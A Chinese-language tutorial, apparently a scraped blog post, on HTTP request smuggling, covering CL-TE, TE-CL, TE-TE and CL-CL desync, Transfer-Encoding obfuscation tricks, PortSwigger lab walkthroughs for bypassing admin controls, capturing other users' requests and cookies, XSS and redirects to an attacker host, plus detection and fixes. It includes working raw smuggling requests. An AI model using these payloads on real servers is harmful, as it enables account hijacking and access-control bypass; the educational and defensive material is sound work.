HTTP Request Smuggling 請求走私

參考文章

淺析HTTP走私攻擊
SeeBug-協議層的攻擊——HTTP請求走私
HTTP 走私漏洞分析css

簡單介紹

攻擊者經過構造特殊結構的請求,干擾網站服務器對請求的處理,從而實現攻擊目標html





前提知識

注:如下文章中的前端指的是(代理服務器、CDN等)前端

Persistent Connection:持久鏈接,Connection: keep-alive
好比打開一個網頁,咱們能夠在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js),而咱們知道每一次發送HTTP請求須要通過 TCP 三次握手,發送完畢又有四次揮手。當單個用戶同時須要發送多個請求時,這一點消耗或許微不足道,但當有許多用戶同時發起請求的時候,便會給服務器形成不少沒必要要的消耗。爲了解決這一問題,在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭,當有些請求帶着 Connection: close 的話,通訊完成以後,服務器纔會中斷 TCP 鏈接。如此便解決了額外消耗的問題,可是服務器端處理請求的方式仍舊是請求一次響應一次,而後再處理下一個請求,當一個請求發生阻塞時,便會影響後續全部請求,爲此 Pipelining 異步技術解決了這一個問題web




Pipelining:能一次處理多個請求,客戶端沒必要等到上一個請求的響應後再發送下一個請求。服務器那邊一次能夠接收多個請求,須要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端
數據庫

可是這樣也會帶來一個問題————如何區分每個請求才不會致使混淆————前端與後端必須短期內對每一個數據包的邊界大小達成一致。不然,攻擊者就能夠構造發送一個特殊的數據包發起攻擊。那麼如何界定數據包邊界呢?
有兩種方式: Content-LengthTransfer-Encoding.後端




Content-Length:CL,請求體或者響應體長度(十進制)。字符算一個,CRLF(一個換行)算兩個。一般若是 Content-Length 的值比實際長度小,會形成內容被截斷;若是比實體內容大,會形成 pending,也就是等待直到超時。瀏覽器




Transfer-Encoding:TE,其只有一個值 chunked (分塊編碼)。分塊編碼至關簡單,在頭部加入 Transfer-Encoding: chunked 以後,就表明這個報文采用了分塊編碼。這時,報文中的實體須要改成用一系列分塊來傳輸。每一個分塊包含十六進制的長度值和數據,長度值獨佔一行,長度不包括它結尾的 CRLF(\r\n),也不包括分塊數據結尾的 CRLF,可是包括分塊中的換行,值算2。最後一個分塊長度值必須爲 0,對應的分塊數據沒有內容,表示實體結束。
例如:緩存

POST /langdetect HTTP/1.1
Host: fanyi.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Transfer-Encoding: chunked

2;逗號後面是註釋
qu
3;3表示後面的字符長度爲3(十六進制),不算CRLF(\r\n回車換行)
ery
1
=
2
ja
2
ck
0;0表示實體結束

注:根據 RFC 標準,若是接收到的消息同時具備傳輸編碼標頭字段和內容長度標頭字段,則必須忽略內容長度標頭字段,固然也有不遵循標準的例外。安全

根據標準,當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候,應該返回 400 錯誤。可是有一些方法能夠繞過
(致使既不返回400錯誤,又可使 Transfer-Encoding 標頭失效):服務器

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

GET / HTTP/1.1
 Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
 : chunked




產生緣由

HTTP規範提供了兩種不一樣方式來指定請求的結束位置,它們是 Content-Length 標頭和 Transfer-Encoding 標頭。當前/後端對數據包邊界的校驗不一致時,
使得後端將一個惡意的殘缺請求須要和下一個正常的請求進行拼接,從而吞併了其餘用戶的正常請求。如圖:

那麼前/後端校驗不一致有那些狀況呢呢呢呢?😵





類型

  1. CL-TE: 前端: Content-Length,後端: Transfer-Encoding

BURP實驗環境

第一次請求:

第二次請求:

原理:前端服務器經過 Content-Length 界定數據包邊界,檢測到數據包無異常經過,而後傳輸到後端服務器,後端服務器經過 Transfer-Encoding 界定數據包邊界,致使 R0oKi3 字段被識別爲下一個數據包的內容,而被送到了緩衝區,因爲內容不完整,會等待後續數據,當正經常使用戶的請求傳輸到後端時,與以前滯留的惡意數據進行了拼接,組成了 R0OKI3POST ,爲不可識別的請求方式,致使403。





  1. TE-CL: 前端: Transfer-Encoding,後端: Content-Length

BURP實驗環境
記得關 burp 的 Update Content-Length 功能

第一次請求:

第二次請求:

原理:跟 CL-TE 類似





  1. TE-TE: 前端: Transfer-Encoding,後端: Transfer-Encoding

BURP實驗環境
記得關 burp 的 Update Content-Length 功能

第一次請求:

第二次請求:

原理:前端服務器經過第一個 Transfer-Encoding 界定數據包邊界,檢測到數據包無異常經過,而後傳輸到後端服務器,後端服務器經過第二個 Transfer-Encoding 界定數據包邊界,結果爲一個不可識別的標頭,而後便退而求其次使用 Content-Length 校驗,結果就跟 TE-CL 形式無異了。一樣如果前端服務器校驗第二個,後端服務器校驗第一個,那結果也就跟 CL-TE 形式無異了。





  1. CL-CL: 前端: Content-Length,後端: Content-Length

在RFC7230規範中,規定當服務器收到的請求中包含兩個 Content-Length,並且二者的值不一樣時,須要返回400錯誤。但不免會有服務器不嚴格遵照該規範。假設前端和後端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行爲數據包定界,然後端服務器則按照第二個Content-Length的值進行處理。

這時攻擊者能夠惡意構造一個特殊的請求:

POST / HTTP/1.1
Host: example.com
Content-Length: 11
Content-Length: 5

123
R0oKi3

原理:前端服務器獲取到的數據包的長度11,由此界定數據包邊界,檢測到數據包無異常經過,而後傳輸到後端,然後端服務器獲取到的數據包長度爲5。當讀取完前5個字符後,後端服務器認爲該請求已經讀取完畢。便去識別下一個數據包,而此時的緩衝區中還剩下 R0oKi3,它被認爲是下一個請求的一部分,因爲內容不完整,會等待後續數據,當正經常使用戶的請求傳輸到後端時,與以前滯留的惡意數據進行了拼接,攻擊便在此展開。





  1. CL 不爲 0 的 GET 請求:

假設前端服務器容許 GET 請求攜帶請求體,然後端服務器不容許 GET 請求攜帶請求體,它會直接忽略掉 GET 請求中的 Content-Length 頭,不進行處理。這就有可能致使請求走私。
好比發送下面請求:

GET / HTTP/1.1
Host: example.com
Content-Length: 72

POST /comment HTTP/1.1
Host: example.com
Content-Length:666

msg=aaa

前端服務器經過讀取Content-Length,確認這是個完整的請求,而後轉發到後端服務器,然後端服務器由於不對 Content-Length 進行判斷,因而在後端服務器中該請求就變成了兩個:
第一個:

GET / HTTP/1.1
Host: example.com
Content-Length: 72

第二個:

POST /comment HTTP/1.1
Host: example.com
Content-Length:666

msg=aaa

而第二個爲 POST 請求,假定其爲發表評論的數據包,再假定後端服務器是依靠 Content-Length 來界定數據包的,那麼因爲數據包長度爲 666,那麼便會等待其餘數據,等到正經常使用戶的請求包到來,便會與其拼接,變成 msg=aaa……………… ,而後會將顯示在評論頁面,也就會致使用戶的 Cookie 等信息的泄露。





PortSwigger 其餘實驗

  1. 使用 CL-TE 繞過前端服務器安全控制

BURP實驗環境
坑點:有時候實體數據裏須要添加一些別的字段或者空行,否則會出一些很奇怪的錯誤,因此我在弄的時候參照了seebug 404Team
實驗要求:獲取 admin 身份並刪除 carlos 用戶

第一步:實驗提示咱們 admin 管理面版在 /admin 目錄下,直接訪問,顯示:

第二步:利用 CL-TE 請求走私繞過前端服務器安全控制

  • 第一次發包

坑點:數據實體必定要多一些其餘字段或者多兩行空白,否則報 Invalid request 請求不合法

0

GET /admin HTTP/1.1


# 如果多了兩行空白,那麼 foo: bar 字段能夠不要

提示 admin 要從 localhost 登錄

  • 改包後多發幾回獲得

  • 改包刪除用戶

  • 再次請求 /admin 頁面,發現 carlos 用戶已不存在

    坑點:這裏再次請求的時候記得多加兩個空行改變一下 Content-Length 的值,否則會顯示不出來,神奇 BUG?

原理:網站進行身份驗證的處理是在前端服務器,當直接訪問 /admin 目錄時,因爲經過不了前端驗證,因此會返回 Blocked。利用請求走私,即可以繞過前端驗證,直接在後端產生一個訪問 /admin 目錄的請求包,當發起下一個請求時,響應的數據包對應的是走私的請求包,如此即可以查看 admin 面板的頁面數據,從而達到繞過前端身份驗證刪除用戶的目的。





  1. 使用 TE-CL 繞過前端服務器安全控制

BURP實驗環境

實驗過程與上一個實驗相仿,不過要記得關 burp 的 Update Content-Length

這裏:不知道爲何必定要加 Content-Length 和其餘的一些詞,不加的話會顯示 Invalid request 請求不合法 ?????????





  1. 獲取前端服務器重寫請求字段(CL-TE)

BURP實驗環境

摘自seebug 404Team
在有的網絡環境下,前端代理服務器在收到請求後,不會直接轉發給後端服務器,而是先添加一些必要的字段,而後再轉發給後端服務器。這些字段是後端服務器對請求進行處理所必須的,好比:

  • 描述TLS鏈接所使用的協議和密碼

  • 包含用戶IP地址的XFF頭

  • 用戶的會話令牌ID
    總之,若是不能獲取到代理服務器添加或者重寫的字段,咱們走私過去的請求就不能被後端服務器進行正確的處理。那麼咱們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:

  • 找一個可以將請求參數的值輸出到響應中的POST請求

  • 把該POST請求中,找到的這個特殊的參數放在消息的最後面

  • 而後走私這一個請求,而後直接發送一個普通的請求,前端服務器對這個請求重寫的一些字段就會顯示出來。

  • 第一步:找一個可以將請求參數的值輸出到響應中的POST請求

  • 第二步:利用 CL-TE 走私截獲正常數據包經前端服務器修改後發送過來的內容,並輸出在響應包中

這一步的原理:因爲咱們走私構造的請求包爲:

POST / HTTP/1.1
Content-Length: 100

search=66666

從這裏能夠看到,Content-Length 的值爲 100,而咱們的實體數據僅爲 search=66666,遠沒有 100,因而後端服務器便會進入等待狀態,當下一個正常請求到來時,會與以前滯留的請求進行拼接,從而致使走私的請求包吞併了下一個請求的部分或所有內容,並返回走私請求的響應。

  • 第三步:在走私的請求上添加這個字段,而後走私一個刪除用戶的請求。

  • 查看 /admin 頁面,發現用戶已被刪除





能用來幹什麼

  1. 帳戶劫持 CL-TE
    BURP實驗環境
  • 構造特殊請求包,造成一個走私請求

  • 查看評論

原理:(跟 獲取前端服務器重寫請求字段 類似)
咱們走私構造的請求包爲:

POST /post/comment HTTP/1.1
Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
Content-Length: 900
Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy

csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa

能夠看到 Content-Length 值爲 900,而咱們的實體數據僅爲 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,遠不足900,因而後端服務器便會進入等待狀態,當下一個正常請求到來時,會與以前滯留的請求進行拼接,從而致使走私的請求包吞併了下一個請求的部分或所有內容,而且因爲是構造發起評論的請求包,因此數據會存入數據庫,從而打開頁面便會看到其餘用戶的請求包內容,獲取其敏感數據,因爲環境只有我一我的在玩,因此只能獲取到本身的敏感數據。

注意:必定要將 comment=aaaa 放在最後





  1. Reflected XSS + Smuggling 形成無需交互的 XSS(CL-TE)
    BURP實驗環境
  • 首先反射型 XSS 在文章頁面

  • 構造請求走私 payload

  • 致使無交互 XSS





  1. 惡意重定向
    環境暫無

許多應用程序執行從一個 URL 到另外一個URL的重定向,會未來自請求的 Host 標頭的主機名放入重定向URL。一個示例是 Apache 和 IIS Web 服務器的默認行爲,在該行爲中,對不帶斜槓的文件夾的請求將收到對包含該斜槓的文件夾的重定向:

請求
GET /home HTTP/1.1
Host: normal-website.com

響應
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

一般,此行爲被認爲是無害的,可是能夠在走私請求攻擊中利用它來將其餘用戶重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的請求將觸發重定向到攻擊者的網站,這將影響後端服務器處理的下一個用戶的請求。例如:

正常請求
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

惡意響應
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

若用戶請求的是一個 JavaScript 文件,該文件是由網站上的頁面導入的。攻擊者能夠經過在響應中返回本身的 JavaScript 文件來徹底破壞受害者用戶。




4.緩存投毒

通常來講,前端服務器出於性能緣由,會對後端服務器的一些資源進行緩存,若是存在HTTP請求走私漏洞,則有可能使用重定向來進行緩存投毒,從而影響後續訪問的全部用戶。

BURP實驗環境

實驗參考





檢測

檢測請求走私漏洞的一種明顯方法是發出一個模棱兩可的請求,而後發出一個正常的「受害者」請求,而後觀察後者是否收到意外響應。可是,這極易受到干擾。若是另外一個用戶的請求在咱們的受害者請求以前命中了中毒的套接字,那麼他們將得到損壞的響應,咱們將不會發現該漏洞。這意味着在流量很大的實時站點上,若是不利用過程當中的大量真實用戶,就很難證實存在請求走私行爲。即便在沒有其餘流量的站點上,各類終止鏈接的應用程序也會形成誤報。

若是爲 CL-TE,可用如下 payload 檢測

POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

1
R
x

因爲較短的Content-Length,前端將僅轉發到 R 丟棄後續的 X,然後端將在等待下一個塊大小時超時。這將致使明顯的時間延遲。

若是兩個服務器都處於同步狀態(TE-TE 或 CL-CL),則該請求將被前端拒絕,或者被兩個系統無害處理。最後,若是以相反的方式發生同步(TE-CL),則因爲無效的塊大小’X',前端將拒絕該消息,而不會將其轉發到後端。這樣能夠防止後端套接字中毒。

咱們可使用如下請求安全地檢測 TE-CL 取消同步:

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0


X




修復

  1. 禁用後端鏈接的重用,以便每一個後端請求經過單獨的網絡鏈接發送。
  2. 使用HTTP / 2進行後端鏈接,由於此協議可防止對請求之間的邊界產生歧義。
  3. 前端服務器和後端服務器使用徹底相同的Web服務器軟件,以便它們就請求之間的界限達成一致。
    以上的措施有的不能從根本上解決問題,並且有着不少不足,就好比禁用代理服務器和後端服務器之間的 TCP 鏈接重用,會增大後端服務器的壓力。使用 HTTP/2 在如今的網絡條件下根本沒法推廣使用,哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1。從本質上來講,HTTP 請求走私出現的緣由並非協議設計的問題,而是不一樣服務器實現的問題,我的認爲最好的解決方案就是嚴格的實現 RFC7230-7235 中所規定的的標準,但這也是最難作到的。

HTTP 參數污染也能算是一種請求走私 HTTP參數污染

相關文章
相關標籤/搜索